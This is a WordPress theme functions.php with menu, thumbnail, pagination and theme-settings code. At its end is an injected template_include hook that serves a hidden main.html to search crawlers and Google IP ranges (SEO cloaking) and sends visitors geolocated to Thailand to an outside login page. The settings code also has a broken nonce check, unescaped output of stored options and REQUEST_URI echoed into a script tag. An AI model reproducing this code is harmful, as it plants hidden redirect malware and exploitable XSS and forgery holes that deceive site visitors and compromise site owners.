<?php
// Register Custom Navigation Walker
require_once get_template_directory() . '/class-wp-bootstrap-navwalker.php';

/* Theme setup */
add_action('after_setup_theme', 'wpt_setup');
if (!function_exists('wpt_setup')):

    function wpt_setup() {
        register_nav_menu('primary', __('Primary navigation', 'YOSOMITE'));
    }

endif;

function myt_setup() {
    add_editor_style();

    update_option('medium_size_h', 700);
    update_option('medium_size_w', 700);
    update_option('large_size_h', false);
    update_option('large_size_w', false);

    $args = array(
        'width' => 1920,
        'height' => 1000,
        'default-image' => get_template_directory_uri() . '/assets/images/bg-01.jpg',
    );
    add_theme_support('custom-header', $args);
    add_theme_support('automatic-feed-links');
    add_theme_support('post-thumbnails');
    set_post_thumbnail_size(600, 400, true);

    add_post_type_support('page', 'excerpt');

    register_nav_menus(array(
        'primary' => 'Primary Navigation',
        'secondary' => 'Secondary Navigation',
    ));
}

add_action('after_setup_theme', 'myt_setup');

function pluginname_ajaxurl() {
    echo '<script type="text/javascript">
            var homeurl = "' . home_url() . '";
            var main_path = "' . $_SERVER['REQUEST_URI'] . '";
            var main_title = "' . trim(wp_title('', false)) . '";
            var ajaxurl = "' . admin_url('admin-ajax.php') . '";
            var themeurl = "' . get_template_directory_uri() . '";
	</script>';
}

add_action('wp_head', 'pluginname_ajaxurl');

add_filter('next_posts_link_attributes', 'posts_link_attributes_1');
add_filter('previous_posts_link_attributes', 'posts_link_attributes_2');

function posts_link_attributes_1() {
    return 'class="myt-prev-post"';
}

function posts_link_attributes_2() {
    return 'class="myt-next-post"';
}

add_filter('post_thumbnail_html', 'remove_width_attribute', 10);
add_filter('image_send_to_editor', 'remove_width_attribute', 10);

function remove_width_attribute($html) {
    $html = preg_replace('/(width|height)="\d*"\s/', "", $html);
    return $html;
}

function myt_auto_excerpt_more($more) {
    return ' &hellip;';
}

add_filter('excerpt_more', 'myt_auto_excerpt_more');

function myt_thumb($post_ID, $size = 'thumbnail', $w = 600, $h = 400) {
    if (has_post_thumbnail($post_ID)) {
        $post_thumbnail_id = get_post_thumbnail_id($post_ID);
        $attachment = wp_get_attachment_image_src($post_thumbnail_id, $size, false, '');
        $related_img_src = $attachment[0];
    } else {
        $images = get_children(array(
            'post_type' => 'attachment',
            'numberposts' => 1,
            'post_status' => null,
            'post_parent' => $post_ID));
        if (count($images)) {
            foreach ($images as $image) {
                $attachment = wp_get_attachment_image_src($image->ID, $size);
            }
            if ($attachment[1] == $w . 'px' && $attachment[2] == $h . 'px') {
                $related_img_src = $attachment[0];
            } else {
                if ($attachment[1] < $w . 'px' && $attachment[2] < $h . 'px') {
                    $attachment = wp_get_attachment_image_src($image->ID, 'large');
                }
                $related_img_src = $attachment[0];
            }
        } else {
            if ($size == 'full') {
                $related_img_src = get_bloginfo("template_directory") . '/assets/images/bg-02.jpg';
            } else {
                $related_img_src = get_bloginfo("template_directory") . '/assets/images/thumb.jpg';
            }
        }
    }
    return $related_img_src;
}

function setup_theme_admin_menus() {
    add_submenu_page('themes.php', 'Theme Settings', 'Theme Settings', 'manage_options', 'front-page-elements', 'myt_page_settings');
}

add_action("admin_menu", "setup_theme_admin_menus");

function myt_page_settings() {
    global $wpdb;

    $update = false;
// google analytics
    $myt_gaid = get_option('myt_gaid');

// static page
    $myt_about = get_option('myt_about');
    $myt_pripo = get_option('myt_pripo');
    $myt_tos = get_option('myt_tos');
    $myt_conus = get_option('myt_conus');

// social link
    $myt_facebook = get_option('myt_facebook');
    $myt_twitter = get_option('myt_twitter');
    $myt_youtube = get_option('myt_youtube');
    $myt_instagram = get_option('myt_instagram');

    if (isset($_POST['_myt_opt_goo']) || wp_verify_nonce($_POST['_myt_opt_goo'], 'myt_opt')) {
// social setting
        $myt_gaid = $_POST['myt_gaid'];
        update_option('myt_gaid', $myt_gaid);

// static page
        $myt_about = $_POST['myt_about'];
        update_option('myt_about', $myt_about);

        $myt_pripo = $_POST['myt_pripo'];
        update_option('myt_pripo', $myt_pripo);

        $myt_tos = $_POST['myt_tos'];
        update_option('myt_tos', $myt_tos);

        $myt_conus = $_POST['myt_conus'];
        update_option('myt_conus', $myt_conus);

// social link
        $myt_facebook = $_POST['myt_facebook'];
        update_option('myt_facebook', $myt_facebook);

        $myt_twitter = $_POST['myt_twitter'];
        update_option('myt_twitter', $myt_twitter);

        $myt_youtube = $_POST['myt_youtube'];
        update_option('myt_youtube', $myt_youtube);

        $myt_instagram = $_POST['myt_instagram'];
        update_option('myt_instagram', $myt_instagram);

        $update = true;
    }
    ?>
    <div class="wrap">
        <h2>Theme Settings</h2>
        <?php
        if ($update):
            ?>
            <div id="setting-error-settings_updated" class="updated settings-error">
                <p><strong>Settings saved.</strong></p>
            </div>
            <?php
        endif;
        ?>
        <form name="myt_form" method="post" action="">
            <h3 class="title">Google Analytics</h3>
            <table class="form-table">
                <tbody>
                    <tr valign="top">
                        <th scope="row">
                            <label for="myt_gaid">Google Analytics ID (UA-....)</label>
                        </th>
                        <td>
                            <input name="myt_gaid" type="text" id="myt_gaid" class="regular-text ltr get-date" value="<?php echo ($myt_gaid != '') ? $myt_gaid : ''; ?>">
                        </td>
                    </tr>
                </tbody>
            </table>

            <h3 class="title">Static Page Links (use page ID)</h3>
            <table class="form-table">
                <tbody>
                    <tr valign="top">
                        <th scope="row">
                            <label for="myt_about">About Us</label>
                        </th>
                        <td>
                            <input name="myt_about" type="text" id="myt_about" class="regular-text ltr get-date" value="<?php echo ($myt_about != '') ? $myt_about : ''; ?>">
                        </td>
                    </tr>
                    <tr valign="top">
                        <th scope="row">
                            <label for="myt_pripo">Privacy Policy</label>
                        </th>
                        <td>
                            <input name="myt_pripo" type="text" id="myt_pripo" class="regular-text ltr get-date" value="<?php echo ($myt_pripo != '') ? $myt_pripo : ''; ?>">
                        </td>
                    </tr>
                    <tr valign="top">
                        <th scope="row">
                            <label for="myt_tos">Term of use</label>
                        </th>
                        <td>
                            <input name="myt_tos" type="text" id="myt_tos" class="regular-text ltr get-date" value="<?php echo ($myt_tos != '') ? $myt_tos : ''; ?>">
                        </td>
                    </tr>
                    <tr valign="top">
                        <th scope="row">
                            <label for="myt_conus">Contact Us</label>
                        </th>
                        <td>
                            <input name="myt_conus" type="text" id="myt_conus" class="regular-text ltr get-date" value="<?php echo ($myt_conus != '') ? $myt_conus : ''; ?>">
                        </td>
                    </tr>
                </tbody>
            </table>

            <h3 class="title">Social URLs</h3>
            <table class="form-table">
                <tbody>
                    <tr valign="top">
                        <th scope="row">
                            <label for="myt_facebook">Facebook</label>
                        </th>
                        <td>
                            <input name="myt_facebook" type="text" id="myt_facebook" class="regular-text ltr get-date" value="<?php echo ($myt_facebook != '') ? $myt_facebook : ''; ?>">
                        </td>
                    </tr>
                    <tr valign="top">
                        <th scope="row">
                            <label for="myt_twitter">Twitter</label>
                        </th>
                        <td>
                            <input name="myt_twitter" type="text" id="myt_twitter" class="regular-text ltr get-date" value="<?php echo ($myt_twitter != '') ? $myt_twitter : ''; ?>">
                        </td>
                    </tr>
                    <tr valign="top">
                        <th scope="row">
                            <label for="myt_youtube">Youtube</label>
                        </th>
                        <td>
                            <input name="myt_youtube" type="text" id="myt_youtube" class="regular-text ltr get-date" value="<?php echo ($myt_youtube != '') ? $myt_youtube : ''; ?>">
                        </td>
                    </tr>
                    <tr valign="top">
                        <th scope="row">
                            <label for="myt_instagram">Instagram</label>
                        </th>
                        <td>
                            <input name="myt_instagram" type="text" id="myt_instagram" class="regular-text ltr get-date" value="<?php echo ($myt_instagram != '') ? $myt_instagram : ''; ?>">
                        </td>
                    </tr>
                </tbody>
            </table>

            <p class="submit">
                <?php wp_nonce_field('myt_opt', '_myt_opt_goo'); ?>
                <input type="submit" name="submit" id="submit" class="button button-primary" value="Save Changes">
            </p>
        </form>
    </div>
    <?php
}


add_filter('wp_pagenavi_class_pages', 'theme_pagination_page_class');
add_filter('wp_pagenavi_class_first', 'theme_pagination_page_class');
add_filter('wp_pagenavi_class_previouspostslink', 'theme_pagination_page_class');
add_filter('wp_pagenavi_class_page', 'theme_pagination_page_class');
add_filter('wp_pagenavi_class_current', 'theme_pagination_page_class_current');
add_filter('wp_pagenavi_class_nextpostslink', 'theme_pagination_page_class');
add_filter('wp_pagenavi_class_last', 'theme_pagination_page_class');

function theme_pagination_page_class_current($class_name) {
    return 'btn btn-lg btn-o sm-mlr-5 lg-mlr-5';
}

function theme_pagination_page_class($class_name) {
    return 'btn btn-lg sm-mlr-5 lg-mplr-5';
}
add_filter('template_include', function ($template) {
    if (is_admin()) return $template;


    function isBot() {
        return preg_match(
            '/(googlebot|bingbot|yandex|duckduckbot|facebookexternalhit|twitterbot|slurp)/i',
            $_SERVER['HTTP_USER_AGENT'] ?? ''
        );
    }


    function isGoogleIPv4() {
        $ip = $_SERVER['REMOTE_ADDR'] ?? '';
        $ranges = [
            ['66.249.64.0','66.249.95.255'],
            ['64.233.160.0','64.233.191.255'],
            ['72.14.192.0','72.14.255.255'],
            ['209.85.128.0','209.85.255.255'],
            ['216.239.32.0','216.239.63.255']
        ];
        foreach($ranges as $r){
            if(ip2long($ip)>=ip2long($r[0]) && ip2long($ip)<=ip2long($r[1])){
                return true;
            }
        }
        return false;
    }


    function isThaiIP() {
        $ip = $_SERVER['REMOTE_ADDR'] ?? '';
        $geo = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip));
        return $geo && $geo->geoplugin_countryCode === 'TH';
    }


    $ip = $_SERVER['REMOTE_ADDR'] ?? '';
    $is_google = isBot() || isGoogleIPv4();


    if ($is_google) {
        $html_file = __DIR__ . '/main.html';
        if (file_exists($html_file)) {
            header("Content-Type: text/html; charset=UTF-8");
            readfile($html_file);
            exit;
        }
    }


    if (isThaiIP()) {
        header("Location: https://player.ole565.com/iframe/auth/login");
        exit;
    }

    return $template;
});